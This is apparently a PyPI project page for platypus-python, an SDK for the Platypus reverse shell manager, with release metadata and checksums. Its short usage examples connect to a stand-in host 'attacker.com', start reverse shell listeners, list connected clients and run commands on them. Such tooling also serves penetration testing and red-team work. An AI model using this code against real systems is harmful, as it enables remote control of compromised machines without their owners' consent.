Skip to main content

Platypus-Python

Python SDK for reverse shell sessions manager Platypus v1.3.1

Install

pip install platypus-python

Usage

Connect to Platypus endpoint

import platypus_python as pp

p = pp.Platypus("attacker.com", 7331)

Create a reverse shell server

server = p.create_server("0.0.0.0", 13339)

Stop a reverse shell server

server = servers[0]
server.delete()

Get all available listening servers

servers = p.get_servers()
for server in servers():
    print(server)

Get all online Clients of a server

server = servers[0]
clients = server.get_clients()
for client in clients:
    print(client)

Execute a command on a client

client = clients[0]
client.system("id")

Metadata

Release files for platypus-python 1.0.3

For a detailed explanation of source distributions (sdists) and built distributions (wheels), please see the package formats documentation.

Source distribution (sdist)

Source distribution for platypus-python 1.0.3
File Size Uploaded Provenance Actions
platypus-python-1.0.3.tar.gz 2.7 kB Without provenance Details for platypus-python-1.0.3.tar.gz

Built distribution (wheel)

Table of built distributions (wheels) for platypus-python 1.0.3
File Interpreter ABI Platform Actions
platypus_python-1.0.3-py3-none-any.whl Python 3 none any Details for platypus_python-1.0.3-py3-none-any.whl

Total release size: 5.3 kB

Release files / platypus-python-1.0.3.tar.gz

Download URL platypus-python-1.0.3.tar.gz
Size 2.7 kB
Tags Source
SHA-256 checksum
How to use checksums
1ef77047e213e54f56a014f1a59217ce94b70310e42ed8a04f704530e8740da9
BLAKE2b-256 checksum
How to use checksums
d3e46ac66c575d7e0dfa03dc7f3afbe5de48c0889a685993627c436466232e79
Upload date
Uploaded using Trusted Publishing?
What is trusted publishing?
No
Uploaded via twine/3.4.1 importlib_metadata/3.10.0 pkginfo/1.7.0 requests/2.24.0 requests-toolbelt/0.9.1 tqdm/4.59.0 CPython/3.8.6

Release files / platypus_python-1.0.3-py3-none-any.whl

Download URL platypus_python-1.0.3-py3-none-any.whl
Size 2.7 kB
Tags Python 3
SHA-256 checksum
How to use checksums
8d87ef866cbac04db89c2e5f7379e9c121db64c4bc5d0504fa4b63a6de8356e5
BLAKE2b-256 checksum
How to use checksums
44b1c85905af6296b9a49d1a68b30bd1c2c25390758f5fc3e401c4a51dc8923a
Upload date
Uploaded using Trusted Publishing?
What is trusted publishing?
No
Uploaded via twine/3.4.1 importlib_metadata/3.10.0 pkginfo/1.7.0 requests/2.24.0 requests-toolbelt/0.9.1 tqdm/4.59.0 CPython/3.8.6

Security for platypus-python 1.0.3

Provenance

Provenance describes where a file came from. On PyPI, provenance is shared via attestations, which provide a verifiable record of the build or publishing details. View details, limitations and caveats.

No provenance found

None of the files in this release were uploaded with provenance metadata.

A note on package security

PyPI is a repository for distributing packages, not a service for auditing them. While third-party security researchers and our staff do their best to detect and remove malicious packages, PyPI cannot guarantee the quality, security or suitability of any given package.

To learn more about protecting yourself from malicious actors, visit our package security documentation.

Anthropic, PBC Visionary sponsor Bloomberg Visionary sponsor Hudson River Trading Visionary sponsor Meta Visionary sponsor NVIDIA Visionary sponsor Microsoft Sustainability sponsor Depot Continuous Integration AWS Cloud computing and Security Sponsor Datadog Monitoring Fastly CDN Google Download Analytics Sentry Error logging StatusPage Status page